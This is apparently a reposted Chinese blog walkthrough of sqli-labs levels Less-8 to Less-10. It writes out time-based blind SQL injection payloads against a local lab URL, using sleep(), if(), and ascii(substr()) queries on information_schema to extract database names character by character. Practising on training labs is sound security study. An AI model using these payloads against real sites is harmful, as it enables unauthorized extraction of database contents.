码迷,mamicode.com
首页 > 数据库 > 详细

sqli-labs Less8-Less10

时间:2020-02-08 00:19:41      阅读:79      评论:0      收藏:0      [点我收藏+]

标签:orm   data   ascii   --   执行   一个   方法   数据   mic   

Less-8

第8关用到的方法和第5关的一样,此次我们再用另一种方法,时间盲注

补充知识

if(condition,A,B)如果条件condition为true,则执行语句A,否则执行B

例:select if(1>2,4,5); 返回结果为5,(如果是在mysql命令行中使用,首先要use xxx数据库才行)

技术图片

 

1.使用延迟的方法判断是否存在注入漏洞,或者其他方法也可以

http://192.168.10.246/sqli-labs-master/Less-8/?id=1‘and sleep(5)--+ 存在注入漏洞

技术图片

http://192.168.10.246/sqli-labs-master/Less-8/?id=1‘and if(length(database())=8,1,sleep(5))--+

当为8的时候很快加载,而为其他值的时候加载较慢(5s左右),那就说明此时数据库长度为8(security)

技术图片

 

 技术图片

http://192.168.10.246/sqli-labs-master/Less-8/?id=1‘and if(ascii(substr((select database()),1,1))>113,1,sleep(5))--+  如果当前数据库的第一个字母的ascii值大于113时,会立刻返回结果,否则执行5s。

http://192.168.10.246/sqli-labs-master/Less-8/?id=1‘and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果 。

其余步骤与布尔盲注类似

因为盲注属于猜解,所以还是推荐使用BurpSuite或者sqlmap脚本

Less-9

输入?id=1 或者?id=1’,发现均不报错

输入?id=1‘and sleep(5)--+时发现页面反应延迟大概5s,所以存在注入漏洞

技术图片

 

 当我们使用order by 时,发现无论数值多大都能正常回显,这一关只能用时间盲注,方法与第8关中的一样。

Less10

?id=1"and sleep(5)--+  延迟5s存在注入漏洞,这一关只是将Less9中的单引号换成了双引号,其余均相同

技术图片

 

sqli-labs Less8-Less10

标签:orm   data   ascii   --   执行   一个   方法   数据   mic   

原文地址:https://www.cnblogs.com/heiwa-0924/p/12274918.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!